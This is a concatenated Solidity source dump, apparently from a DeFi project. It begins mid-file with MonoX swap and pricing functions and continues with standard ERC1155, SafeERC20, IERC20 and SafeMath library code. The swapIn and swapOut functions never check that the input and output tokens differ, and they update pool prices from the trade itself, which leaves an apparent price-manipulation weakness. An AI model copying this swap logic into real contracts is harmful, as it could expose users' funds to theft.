bool priceExists = getsAmountOut?tokenInPoolPrice>0:tokenOutPoolPrice>0;
// only if it's official pool with similar size
return priceExists&&status==PoolStatus.OFFICIAL&&tokenInValue>0&&tokenOutValue>0&&
((tokenInValue/tokenOutValue)+(tokenOutValue/tokenInValue)==1);
}
// view func to compute amount required for tokenIn to get fixed amount of tokenOut
function getAmountIn(address tokenIn, address tokenOut,
uint256 amountOut) public view returns (uint256 tokenInPrice, uint256 tokenOutPrice,
uint256 amountIn, uint256 tradeVcashValue) {
require(amountOut > 0, 'MonoX:INSUFF_INPUT');
uint256 amountOutWithFee = amountOut.mul(1e5).div(1e5 - fees);
address vcashAddress = address(vCash);
uint tokenOutPoolPrice = pools[tokenOut].price;
uint tokenOutPoolTokenBalance = pools[tokenOut].tokenBalance;
if(tokenOut==vcashAddress){
tradeVcashValue = amountOutWithFee;
tokenOutPrice = 1e18;
}else{
require (tokenPoolStatus[tokenOut]==1, "MonoX:NO_POOL");
// PoolInfo memory tokenOutPool = pools[tokenOut];
PoolStatus tokenOutPoolStatus = pools[tokenOut].status;
require (tokenOutPoolStatus != PoolStatus.UNLISTED, "MonoX:POOL_UNLST");
tokenOutPrice = _getNewPrice(tokenOutPoolPrice, tokenOutPoolTokenBalance,
amountOutWithFee, 0, TxType.BUY);
tradeVcashValue = _getAvgPrice(tokenOutPoolPrice, tokenOutPrice).mul(amountOutWithFee)/1e18;
}
if(tokenIn==vcashAddress){
amountIn = tradeVcashValue;
tokenInPrice = 1e18;
}else{
require (tokenPoolStatus[tokenIn]==1, "MonoX:NO_POOL");
// PoolInfo memory tokenInPool = pools[tokenIn];
PoolStatus tokenInPoolStatus = pools[tokenIn].status;
uint tokenInPoolPrice = pools[tokenIn].price;
uint tokenInPoolTokenBalance = pools[tokenIn].tokenBalance;
require (tokenInPoolStatus != PoolStatus.UNLISTED, "MonoX:POOL_UNLST");
amountIn = tradeVcashValue.add(tokenInPoolTokenBalance.mul(tokenInPoolPrice).div(1e18));
amountIn = tradeVcashValue.mul(tokenInPoolTokenBalance).div(amountIn);
bool allowDirectSwap=directSwapAllowed(tokenInPoolPrice,tokenOutPoolPrice,tokenInPoolTokenBalance,tokenOutPoolTokenBalance,tokenInPoolStatus,false);
// assuming p1*p2 = k, equivalent to uniswap's x * y = k
uint directSwapTokenInPrice = allowDirectSwap?tokenOutPoolPrice.mul(tokenInPoolPrice).div(tokenOutPrice):1;
tokenInPrice = _getNewPrice(tokenInPoolPrice, tokenInPoolTokenBalance,
amountIn, 0, TxType.SELL);
tokenInPrice = directSwapTokenInPrice > tokenInPrice?directSwapTokenInPrice:tokenInPrice;
amountIn = tradeVcashValue.mul(1e18).div(_getAvgPrice(tokenInPoolPrice, tokenInPrice));
}
}
// view func to compute amount required for tokenOut to get fixed amount of tokenIn
function getAmountOut(address tokenIn, address tokenOut,
uint256 amountIn) public view returns (uint256 tokenInPrice, uint256 tokenOutPrice,
uint256 amountOut, uint256 tradeVcashValue) {
require(amountIn > 0, 'MonoX:INSUFF_INPUT');
uint256 amountInWithFee = amountIn.mul(1e5-fees)/1e5;
address vcashAddress = address(vCash);
uint tokenInPoolPrice = pools[tokenIn].price;
uint tokenInPoolTokenBalance = pools[tokenIn].tokenBalance;
if(tokenIn==vcashAddress){
tradeVcashValue = amountInWithFee;
tokenInPrice = 1e18;
}else{
require (tokenPoolStatus[tokenIn]==1, "MonoX:NO_POOL");
// PoolInfo memory tokenInPool = pools[tokenIn];
PoolStatus tokenInPoolStatus = pools[tokenIn].status;
require (tokenInPoolStatus != PoolStatus.UNLISTED, "MonoX:POOL_UNLST");
tokenInPrice = _getNewPrice(tokenInPoolPrice, tokenInPoolTokenBalance,
amountInWithFee, 0, TxType.SELL);
tradeVcashValue = _getAvgPrice(tokenInPoolPrice, tokenInPrice).mul(amountInWithFee)/1e18;
}
if(tokenOut==vcashAddress){
amountOut = tradeVcashValue;
tokenOutPrice = 1e18;
}else{
require (tokenPoolStatus[tokenOut]==1, "MonoX:NO_POOL");
// PoolInfo memory tokenOutPool = pools[tokenOut];
PoolStatus tokenOutPoolStatus = pools[tokenOut].status;
uint tokenOutPoolPrice = pools[tokenOut].price;
uint tokenOutPoolTokenBalance = pools[tokenOut].tokenBalance;
require (tokenOutPoolStatus != PoolStatus.UNLISTED, "MonoX:POOL_UNLST");
amountOut = tradeVcashValue.add(tokenOutPoolTokenBalance.mul(tokenOutPoolPrice).div(1e18));
amountOut = tradeVcashValue.mul(tokenOutPoolTokenBalance).div(amountOut);
bool allowDirectSwap=directSwapAllowed(tokenInPoolPrice,tokenOutPoolPrice,tokenInPoolTokenBalance,tokenOutPoolTokenBalance,tokenOutPoolStatus,true);
// assuming p1*p2 = k, equivalent to uniswap's x * y = k
uint directSwapTokenOutPrice = allowDirectSwap?tokenInPoolPrice.mul(tokenOutPoolPrice).div(tokenInPrice):uint(-1);
// prevent the attack where user can use a small pool to update price in a much larger pool
tokenOutPrice = _getNewPrice(tokenOutPoolPrice, tokenOutPoolTokenBalance,
amountOut, 0, TxType.BUY);
tokenOutPrice = directSwapTokenOutPrice < tokenOutPrice?directSwapTokenOutPrice:tokenOutPrice;
amountOut = tradeVcashValue.mul(1e18).div(_getAvgPrice(tokenOutPoolPrice, tokenOutPrice));
}
}
// swap from tokenIn to tokenOut with fixed tokenIn amount.
function swapIn (address tokenIn, address tokenOut, address from, address to,
uint256 amountIn) internal lockToken(tokenIn) returns(uint256 amountOut) {
address monoXPoolLocal = address(monoXPool);
amountIn = transferAndCheck(from,monoXPoolLocal,tokenIn,amountIn);
// uint256 halfFeesInTokenIn = amountIn.mul(fees)/2e5;
uint256 tokenInPrice;
uint256 tokenOutPrice;
uint256 tradeVcashValue;
(tokenInPrice, tokenOutPrice, amountOut, tradeVcashValue) = getAmountOut(tokenIn, tokenOut, amountIn);
uint256 oneSideFeesInVcash = tokenInPrice.mul(amountIn.mul(fees)/2e5)/1e18;
// trading in
if(tokenIn==address(vCash)){
vCash.burn(monoXPoolLocal, amountIn);
// all fees go to the other side
oneSideFeesInVcash = oneSideFeesInVcash.mul(2);
}else{
_updateTokenInfo(tokenIn, tokenInPrice, 0, tradeVcashValue.add(oneSideFeesInVcash), 0);
}
// trading out
if(tokenOut==address(vCash)){
vCash.mint(to, amountOut);
}else{
if (to != monoXPoolLocal) {
IMonoXPool(monoXPoolLocal).safeTransferERC20Token(tokenOut, to, amountOut);
}
_updateTokenInfo(tokenOut, tokenOutPrice, tradeVcashValue.add(oneSideFeesInVcash), 0,
to == monoXPoolLocal ? amountOut : 0);
}
if(pools[tokenIn].vcashDebt > 0 && pools[tokenIn].status == PoolStatus.OFFICIAL){
_internalRebalance(tokenIn);
}
emit Swap(to, tokenIn, tokenOut, amountIn, amountOut, tradeVcashValue);
}
// swap from tokenIn to tokenOut with fixed tokenOut amount.
function swapOut (address tokenIn, address tokenOut, address from, address to,
uint256 amountOut) internal lockToken(tokenIn) returns(uint256 amountIn) {
uint256 tokenInPrice;
uint256 tokenOutPrice;
uint256 tradeVcashValue;
(tokenInPrice, tokenOutPrice, amountIn, tradeVcashValue) = getAmountIn(tokenIn, tokenOut, amountOut);
address monoXPoolLocal = address(monoXPool);
amountIn = transferAndCheck(from,monoXPoolLocal,tokenIn,amountIn);
// uint256 halfFeesInTokenIn = amountIn.mul(fees)/2e5;
uint256 oneSideFeesInVcash = tokenInPrice.mul(amountIn.mul(fees)/2e5)/1e18;
// trading in
if(tokenIn==address(vCash)){
vCash.burn(monoXPoolLocal, amountIn);
// all fees go to buy side
oneSideFeesInVcash = oneSideFeesInVcash.mul(2);
}else {
_updateTokenInfo(tokenIn, tokenInPrice, 0, tradeVcashValue.add(oneSideFeesInVcash), 0);
}
// trading out
if(tokenOut==address(vCash)){
vCash.mint(to, amountOut);
// all fees go to sell side
_updateVcashBalance(tokenIn, oneSideFeesInVcash, 0);
}else{
if (to != monoXPoolLocal) {
IMonoXPool(monoXPoolLocal).safeTransferERC20Token(tokenOut, to, amountOut);
}
_updateTokenInfo(tokenOut, tokenOutPrice, tradeVcashValue.add(oneSideFeesInVcash), 0,
to == monoXPoolLocal ? amountOut:0 );
}
if(pools[tokenIn].vcashDebt > 0 && pools[tokenIn].status == PoolStatus.OFFICIAL){
_internalRebalance(tokenIn);
}
emit Swap(to, tokenIn, tokenOut, amountIn, amountOut, tradeVcashValue);
}
// function balanceOf(address account, uint256 id) public view returns (uint256) {
// return monoXPool.balanceOf(account, id);
// }
function getConfig() public view returns (address _vCash, address _weth, address _feeTo, uint16 _fees, uint16 _devFee) {
_vCash = address(vCash);
_weth = WETH;
_feeTo = feeTo;
_fees = fees;
_devFee = devFee;
}
function transferAndCheck(address from,address to,address _token,uint amount) internal returns (uint256){
if(from == address(this)){
return amount; // if it's ETH
}
// if it's not ETH
if(tokenStatus[_token]==2){
IERC20(_token).safeTransferFrom(from, to, amount);
return amount;
}else{
uint256 balanceIn0 = IERC20(_token).balanceOf(to);
IERC20(_token).safeTransferFrom(from, to, amount);
uint256 balanceIn1 = IERC20(_token).balanceOf(to);
return balanceIn1.sub(balanceIn0);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC1155.sol";
import "./IERC1155MetadataURI.sol";
import "./IERC1155Receiver.sol";
import "../../utils/Context.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using SafeMath for uint256;
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/*
* bytes4(keccak256('uri(uint256)')) == 0x0e89341c
*/
bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) public {
_setURI(uri_);
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
// register the supported interfaces to conform to ERC1155MetadataURI via ERC165
_registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) external view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer");
_balances[id][to] = _balances[id][to].add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from].sub(
amount,
"ERC1155: insufficient balance for transfer"
);
_balances[id][to] = _balances[id][to].add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = _balances[id][account].add(amount);
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]);
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
_balances[id][account] = _balances[id][account].sub(
amount,
"ERC1155: burn amount exceeds balance"
);
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][account] = _balances[ids[i]][account].sub(
amounts[i],
"ERC1155: burn amount exceeds balance"
);
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
